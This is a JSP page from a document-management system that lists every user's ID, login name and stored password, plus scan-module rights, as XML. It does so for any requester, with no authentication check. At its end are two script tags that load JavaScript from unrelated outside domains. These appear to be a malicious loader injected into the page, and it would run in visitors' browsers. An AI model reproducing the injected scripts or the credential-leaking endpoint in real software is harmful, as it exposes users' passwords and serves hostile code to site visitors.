<%@ page import="com.dcivision.framework.*"
%><%@ page import="com.dcivision.framework.web.*"
%><%@ page import="com.dcivision.framework.bean.*"
%><%@ page import="com.dcivision.framework.dao.*"
%><%@ page import="com.dcivision.user.auth.*"
%><%@ page import="com.dcivision.user.bean.*"
%><%@ page import="com.dcivision.user.dao.*"
%><%@ page import="com.dcivision.dms.*"
%><%@ page import="com.dcivision.dms.bean.* "
%><%@ page import="com.dcivision.dms.core.* "
%><%@ page import="java.sql.*"
%><%@ page import="java.util.*"
%><%
  Connection conn = DataSourceFactory.getConnection();
  SessionContainer sessionCtn = new SessionContainer();
  String STATUS_CODE = "000000000000000";
  String AVAIL_CODE = "1";

  UserRecordDAObject userRecordDAO  = new UserRecordDAObject(sessionCtn,conn);
  String userIP = request.getRemoteAddr();
  List userList = userRecordDAO.getAllUserList();

  out.println("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
  out.println("<Authenication>");

  for (int z=0;z<userList.size();z++) {
    UserRecord userRecord = (UserRecord)userList.get(z);
    SessionContainer userSession = new SessionContainer();
    userSession.setUserIPAddress(userIP);

    // Get User Groups Information.
    UserGroupDAObject userGroupDAO = new UserGroupDAObject(userSession, conn);
    List userGroups = userGroupDAO.getListByUserRecordIDGroupType(userRecord.getID(), com.dcivision.user.bean.UserGroup.GROUP_TYPE_PUBLIC);
    userSession.getPermissionManager().setUserGroups(userGroups);

    // Get User Roles and Group Role Information (Union them with no duplicate roles).
    UserRoleDAObject userRoleDAO = new UserRoleDAObject(userSession, conn);
    List userRoles = userRoleDAO.getListByUserRecordID(userRecord.getID());

    for (int i = 0; i < userGroups.size(); i++) {
      UserGroup tmpUserGroup = (UserGroup) userGroups.get(i);
      List userRolesByGroup = userRoleDAO.getListByUserGroupID(tmpUserGroup.getID());
      for (int j = 0; j < userRolesByGroup.size(); j++) {
        if (!userRoles.contains(userRolesByGroup.get(j))) {
          userRoles.add(userRolesByGroup.get(j));
        }
      }
    }

    userSession.getPermissionManager().setUserRoles(userRoles);
    userSession.setUserRecord(userRecord);
    request.getSession().setAttribute(GlobalConstant.SESSION_CONTAINER_KEY, userSession);
    userSession.setLoginStatus(AuditLoginOut.STATUS_LOGIN_SUCCESS);
    PermissionManager permissionManager = userSession.getPermissionManager();
    permissionManager.initAccessibleSystemFunction();

    //check the Scan module rights
    if(permissionManager.hasAccessRight("SCN", "R")){
      StringBuffer eachStatusCode =new StringBuffer(STATUS_CODE);

      if(permissionManager.hasAccessRight("SCN_ADMIN", "A")){
        eachStatusCode = eachStatusCode.replace(0,1,AVAIL_CODE);
      }
      if(permissionManager.hasAccessRight("SCN_SCAN", "A")){
         eachStatusCode = eachStatusCode.replace(1,2,AVAIL_CODE);
      }
      if(permissionManager.hasAccessRight("SCN_QC", "A")){
         eachStatusCode = eachStatusCode.replace(2,3,AVAIL_CODE);
      }
      if(permissionManager.hasAccessRight("SCN_INDEX", "A")){
        eachStatusCode = eachStatusCode.replace(3,4,AVAIL_CODE);
      }
      if(permissionManager.hasAccessRight("SCN_VALID", "A")){
        eachStatusCode = eachStatusCode.replace(4,5,AVAIL_CODE);
      }
      if(permissionManager.hasAccessRight("SCN_USER", "A")){
        eachStatusCode = eachStatusCode.replace(5,6,AVAIL_CODE);
      }
      if(permissionManager.hasAccessRight("SCN_TEMP", "A")){
        eachStatusCode = eachStatusCode.replace(6,7,AVAIL_CODE);
      }
      if(permissionManager.hasAccessRight("SCN_BATCH", "A")){
        eachStatusCode = eachStatusCode.replace(7,8,AVAIL_CODE);
      }
      if(permissionManager.hasAccessRight("SCN_REPORT", "A")){
        eachStatusCode = eachStatusCode.replace(8,9,AVAIL_CODE);
      }
      if(permissionManager.hasAccessRight("SCN_WORKFLOW", "A")){
        eachStatusCode = eachStatusCode.replace(9,10,AVAIL_CODE);
      }
      if(permissionManager.hasAccessRight("SCN_PRINT", "A")){
        eachStatusCode = eachStatusCode.replace(10,11,AVAIL_CODE);
      }

      out.println("<Authenication StatusCode=\""+eachStatusCode+"\" UserRecordID=\""+userRecord.getID()+"\" LoginName=\""+userRecord.getLoginName()+"\" LoginPwd=\""+userRecord.getLoginPwd()+"\" /> ");
    }
  }

  out.println("</Authenication>");

  try { conn.close(); } catch (Exception ignore) {} finally { conn = null; }
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>